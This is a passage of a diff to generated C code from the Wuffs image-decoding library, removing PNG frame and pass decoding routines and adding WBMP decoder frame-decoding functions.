(WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_do_decode_frame[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_do_decode_frame[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- v_seq_num = t_0; +- } +- if (v_seq_num != self->private_impl.f_next_animation_seq_num) { +- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); +- goto exit; +- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); +- goto exit; +- } +- self->private_impl.f_next_animation_seq_num += 1u; +- break; +- } else if (self->private_impl.f_chunk_type == 1280598886u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_data.s_do_decode_frame[0].scratch = (((uint64_t)(self->private_impl.f_chunk_length)) + 12u); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (self->private_data.s_do_decode_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_do_decode_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_do_decode_frame[0].scratch; +- self->private_impl.f_chunk_length = 0u; +- } +- if (self->private_impl.f_zlib_is_dirty) { +- wuffs_base__ignore_status(wuffs_zlib__decoder__initialize(&self->private_data.f_zlib, +- sizeof (wuffs_zlib__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- if (self->private_impl.f_ignore_checksum) { +- wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, 1u, 1u); +- } +- } +- self->private_impl.f_zlib_is_dirty = true; +- v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, +- wuffs_base__pixel_buffer__pixel_format(a_dst), +- wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), +- wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), +- wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024), +- a_blend); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ } else if (self->private_impl.f_call_sequence == 40u) { ++ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_restart); + goto exit; + } ++ } else if (self->private_impl.f_call_sequence == 64u) { ++ self->private_impl.f_call_sequence = 96u; ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); + goto ok; + } +- self->private_impl.f_workbuf_hist_pos_base = 0u; +- while (true) { +- if (self->private_impl.f_chunk_type_array[0u] == 73u) { +- v_pass_width = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][1u])) + self->private_impl.f_width) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][0u])); +- v_pass_height = (16777215u & ((((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][4u])) + self->private_impl.f_height) >> WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][3u])); +- } else { +- v_pass_width = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_x1 - self->private_impl.f_frame_rect_x0))); +- v_pass_height = (16777215u & ((uint32_t)(self->private_impl.f_frame_rect_y1 - self->private_impl.f_frame_rect_y0))); +- } +- if ((v_pass_width > 0u) && (v_pass_height > 0u)) { +- self->private_impl.f_pass_bytes_per_row = wuffs_png__decoder__calculate_bytes_per_row(self, v_pass_width); +- self->private_impl.f_pass_workbuf_length = (((uint64_t)(v_pass_height)) * (1u + self->private_impl.f_pass_bytes_per_row)); +- while (true) { +- { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_1 = wuffs_png__decoder__decode_pass(self, a_src, a_workbuf); +- v_status = t_1; +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- if (wuffs_base__status__is_ok(&v_status)) { +- break; +- } else if (wuffs_base__status__is_error(&v_status) || ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed))) { +- if (self->private_impl.f_workbuf_wi <= ((uint64_t)(a_workbuf.len))) { +- wuffs_png__decoder__filter_and_swizzle(self, a_dst, wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_workbuf_wi)); +- } +- if (v_status.repr == wuffs_base__suspension__short_read) { +- status = wuffs_base__make_status(wuffs_png__error__truncated_input); +- goto exit; +- } +- } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); +- } +- v_status = wuffs_png__decoder__filter_and_swizzle(self, a_dst, a_workbuf); +- if ( ! wuffs_base__status__is_ok(&v_status)) { +- status = v_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } +- self->private_impl.f_workbuf_hist_pos_base += self->private_impl.f_pass_workbuf_length; +- } +- if ((self->private_impl.f_interlace_pass == 0u) || (self->private_impl.f_interlace_pass >= 7u)) { +- break; +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_interlace_pass += 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif ++ if (a_dst != NULL) { ++ wuffs_base__frame_config__set( ++ a_dst, ++ wuffs_base__utility__make_rect_ie_u32( ++ 0u, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height), ++ ((wuffs_base__flicks)(0u)), ++ 0u, ++ self->private_impl.f_frame_config_io_position, ++ 0u, ++ true, ++ false, ++ 4278190080u); + } +- wuffs_base__u32__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); +- self->private_impl.f_call_sequence = 32u; ++ self->private_impl.f_call_sequence = 64u; + + ok: +- self->private_impl.p_do_decode_frame[0] = 0; ++ self->private_impl.p_do_decode_frame_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_do_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; + + goto exit; + exit: +@@ -57537,338 +71103,217 @@ wuffs_png__decoder__do_decode_frame( + return status; + } + +-// -------- func png.decoder.decode_pass ++// -------- func wbmp.decoder.decode_frame + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_pass( +- wuffs_png__decoder* self, ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_wbmp__decoder__decode_frame( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, + wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_dst || !a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 3)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_w = &u_w; +- uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint64_t v_w_mark = 0; +- uint64_t v_r_mark = 0; +- wuffs_base__status v_zlib_status = wuffs_base__make_status(NULL); +- uint32_t v_checksum_have = 0; +- uint32_t v_checksum_want = 0; +- uint32_t v_seq_num = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_pass[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_frame; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- self->private_impl.f_workbuf_wi = 0u; + while (true) { +- if ((self->private_impl.f_workbuf_wi > self->private_impl.f_pass_workbuf_length) || (self->private_impl.f_pass_workbuf_length > ((uint64_t)(a_workbuf.len)))) { +- status = wuffs_base__make_status(wuffs_base__error__bad_workbuf_length); +- goto exit; +- } + { +- wuffs_base__io_buffer* o_0_v_w = v_w; +- uint8_t *o_0_iop_v_w = iop_v_w; +- uint8_t *o_0_io0_v_w = io0_v_w; +- uint8_t *o_0_io1_v_w = io1_v_w; +- uint8_t *o_0_io2_v_w = io2_v_w; +- v_w = wuffs_base__io_writer__set( +- &u_w, +- &iop_v_w, +- &io0_v_w, +- &io1_v_w, +- &io2_v_w, +- wuffs_base__slice_u8__subslice_ij(a_workbuf, +- self->private_impl.f_workbuf_wi, +- self->private_impl.f_pass_workbuf_length), +- ((uint64_t)(self->private_impl.f_workbuf_hist_pos_base + self->private_impl.f_workbuf_wi))); +- { +- const bool o_1_closed_a_src = a_src->meta.closed; +- const uint8_t *o_1_io2_a_src = io2_a_src; +- wuffs_base__io_reader__limit(&io2_a_src, iop_a_src, +- ((uint64_t)(self->private_impl.f_chunk_length))); +- if (a_src) { +- size_t n = ((size_t)(io2_a_src - a_src->data.ptr)); +- a_src->meta.closed = a_src->meta.closed && (a_src->meta.wi <= n); +- a_src->meta.wi = n; +- } +- v_w_mark = ((uint64_t)(iop_v_w - io0_v_w)); +- v_r_mark = ((uint64_t)(iop_a_src - io0_a_src)); +- { +- u_w.meta.wi = ((size_t)(iop_v_w - u_w.data.ptr)); +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- wuffs_base__status t_0 = wuffs_zlib__decoder__transform_io(&self->private_data.f_zlib, v_w, a_src, wuffs_base__utility__empty_slice_u8()); +- v_zlib_status = t_0; +- iop_v_w = u_w.data.ptr + u_w.meta.wi; +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- } +- if ( ! self->private_impl.f_ignore_checksum) { +- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__io__since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); +- } +- wuffs_base__u32__sat_sub_indirect(&self->private_impl.f_chunk_length, ((uint32_t)(wuffs_base__io__count_since(v_r_mark, ((uint64_t)(iop_a_src - io0_a_src)))))); +- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_workbuf_wi, wuffs_base__io__count_since(v_w_mark, ((uint64_t)(iop_v_w - io0_v_w)))); +- io2_a_src = o_1_io2_a_src; +- if (a_src) { +- a_src->meta.closed = o_1_closed_a_src; +- a_src->meta.wi = ((size_t)(io2_a_src - a_src->data.ptr)); +- } +- } +- v_w = o_0_v_w; +- iop_v_w = o_0_iop_v_w; +- io0_v_w = o_0_io0_v_w; +- io1_v_w = o_0_io1_v_w; +- io2_v_w = o_0_io2_v_w; ++ wuffs_base__status t_0 = wuffs_wbmp__decoder__do_decode_frame(self, ++ a_dst, ++ a_src, ++ a_blend, ++ a_workbuf, ++ a_opts); ++ v_status = t_0; + } +- if (wuffs_base__status__is_ok(&v_zlib_status)) { +- if (self->private_impl.f_chunk_length > 0u) { +- status = wuffs_base__make_status(wuffs_base__error__too_much_data); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_pass[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } +- } +- v_checksum_want = t_1; +- } +- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { +- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); +- if (v_checksum_have != v_checksum_want) { +- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); +- goto exit; +- } +- } +- break; +- } else if (v_zlib_status.repr == wuffs_base__suspension__short_write) { +- if ((1u <= self->private_impl.f_interlace_pass) && (self->private_impl.f_interlace_pass <= 6u)) { +- break; +- } +- status = wuffs_base__make_status(wuffs_base__error__too_much_data); ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_wbmp__error__truncated_input); + goto exit; +- } else if (v_zlib_status.repr != wuffs_base__suspension__short_read) { +- status = v_zlib_status; +- if (wuffs_base__status__is_error(&status)) { +- goto exit; +- } else if (wuffs_base__status__is_suspension(&status)) { +- status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); +- goto exit; +- } +- goto ok; +- } else if (self->private_impl.f_chunk_length == 0u) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_pass[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); +- if (num_bits_2 == 24) { +- t_2 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)); +- } +- } +- v_checksum_want = t_2; +- } +- if ( ! self->private_impl.f_ignore_checksum && (self->private_impl.f_chunk_type_array[0u] == 73u)) { +- v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__utility__empty_slice_u8()); +- if (v_checksum_have != v_checksum_want) { +- status = wuffs_base__make_status(wuffs_png__error__bad_checksum); +- goto exit; +- } +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_pass[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); +- if (num_bits_3 == 24) { +- t_3 = ((uint32_t)(*scratch >> 32)); +- break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_frame = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func wbmp.decoder.do_decode_frame ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_wbmp__decoder__do_decode_frame( ++ wuffs_wbmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint64_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_x_in_bytes = 0; ++ uint32_t v_dst_x = 0; ++ uint32_t v_dst_y = 0; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint8_t v_src[1] = {0}; ++ uint8_t v_c8 = 0; ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; ++ if (coro_susp_point) { ++ v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel; ++ v_dst_x = self->private_data.s_do_decode_frame.v_dst_x; ++ v_dst_y = self->private_data.s_do_decode_frame.v_dst_y; ++ memcpy(v_src, self->private_data.s_do_decode_frame.v_src, sizeof(v_src)); ++ v_c8 = self->private_data.s_do_decode_frame.v_c8; ++ } ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ if (self->private_impl.f_call_sequence == 64u) { ++ } else if (self->private_impl.f_call_sequence < 64u) { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ status = wuffs_wbmp__decoder__do_decode_frame_config(self, NULL, a_src); ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ if (status.repr) { ++ goto suspend; ++ } ++ } else { ++ status = wuffs_base__make_status(wuffs_base__note__end_of_data); ++ goto ok; ++ } ++ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, ++ wuffs_base__pixel_buffer__pixel_format(a_dst), ++ wuffs_base__pixel_buffer__palette(a_dst), ++ wuffs_base__utility__make_pixel_format(536870920u), ++ wuffs_base__utility__empty_slice_u8(), ++ a_blend); ++ if ( ! wuffs_base__status__is_ok(&v_status)) { ++ status = v_status; ++ if (wuffs_base__status__is_error(&status)) { ++ goto exit; ++ } else if (wuffs_base__status__is_suspension(&status)) { ++ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); ++ goto exit; ++ } ++ goto ok; ++ } ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ goto exit; ++ } ++ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); ++ if (self->private_impl.f_width > 0u) { ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ while (v_dst_y < self->private_impl.f_height) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_dst_y); ++ v_dst_x = 0u; ++ while (v_dst_x < self->private_impl.f_width) { ++ if ((v_dst_x & 7u) == 0u) { ++ while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_dst_y); ++ v_dst_x_in_bytes = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); ++ if (v_dst_x_in_bytes <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_x_in_bytes); + } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)); + } ++ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); ++ iop_a_src += 1u; + } +- self->private_impl.f_chunk_length = t_3; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- uint32_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_4 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); +- iop_a_src += 4; ++ if (((uint8_t)(v_c8 & 128u)) == 0u) { ++ v_src[0u] = 0u; + } else { +- self->private_data.s_decode_pass[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; +- if (num_bits_4 == 24) { +- t_4 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)) << 56; +- } +- } +- self->private_impl.f_chunk_type = t_4; +- } +- if (self->private_impl.f_chunk_type_array[0u] == 73u) { +- if (self->private_impl.f_chunk_type != 1413563465u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if ( ! self->private_impl.f_ignore_checksum) { +- wuffs_base__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, +- sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); +- wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); +- } +- } else { +- if ((self->private_impl.f_chunk_type != 1413571686u) || (self->private_impl.f_chunk_length < 4u)) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length -= 4u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- uint32_t t_5; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_pass[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_pass[0].scratch; +- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); +- if (num_bits_5 == 24) { +- t_5 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_5 += 8u; +- *scratch |= ((uint64_t)(num_bits_5)); +- } +- } +- v_seq_num = t_5; ++ v_src[0u] = 255u; + } +- if (v_seq_num != self->private_impl.f_next_animation_seq_num) { +- status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); +- goto exit; +- } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); +- goto exit; ++ v_c8 = ((uint8_t)((((uint32_t)(v_c8)) << 1u))); ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, wuffs_base__utility__empty_slice_u8(), wuffs_base__make_slice_u8(v_src, 1)); ++ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); + } +- self->private_impl.f_next_animation_seq_num += 1u; ++ v_dst_x += 1u; + } +- continue; +- } else if (((uint64_t)(io2_a_src - iop_a_src)) > 0u) { +- status = wuffs_base__make_status(wuffs_png__error__internal_error_zlib_decoder_did_not_exhaust_its_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); +- } +- if (self->private_impl.f_workbuf_wi != self->private_impl.f_pass_workbuf_length) { +- status = wuffs_base__make_status(wuffs_base__error__not_enough_data); +- goto exit; +- } else if (0u < ((uint64_t)(a_workbuf.len))) { +- if (a_workbuf.ptr[0u] == 4u) { +- a_workbuf.ptr[0u] = 1u; ++ v_dst_y += 1u; + } + } ++ self->private_impl.f_call_sequence = 96u; + + ok: +- self->private_impl.p_decode_pass[0] = 0; ++ self->private_impl.p_do_decode_frame = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_pass[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.p_do_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel = v_dst_bytes_per_pixel; ++ self->private_data.s_do_decode_frame.v_dst_x = v_dst_x; ++ self->private_data.s_do_decode_frame.v_dst_y = v_dst_y; ++ memcpy(self->private_data.s_do_decode_frame.v_src, v_src, sizeof(v_src)); ++ self->private_data.s_do_decode_frame.v_c8 = v_c8; + + goto exit; + exit: +@@ -57879,12 +71324,12 @@ wuffs_png__decoder__decode_pass( + return status; + } + +-// -------- func png.decoder.frame_dirty_rect ++// -------- func wbmp.decoder.frame_dirty_rect + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_png__decoder__frame_dirty_rect( +- const 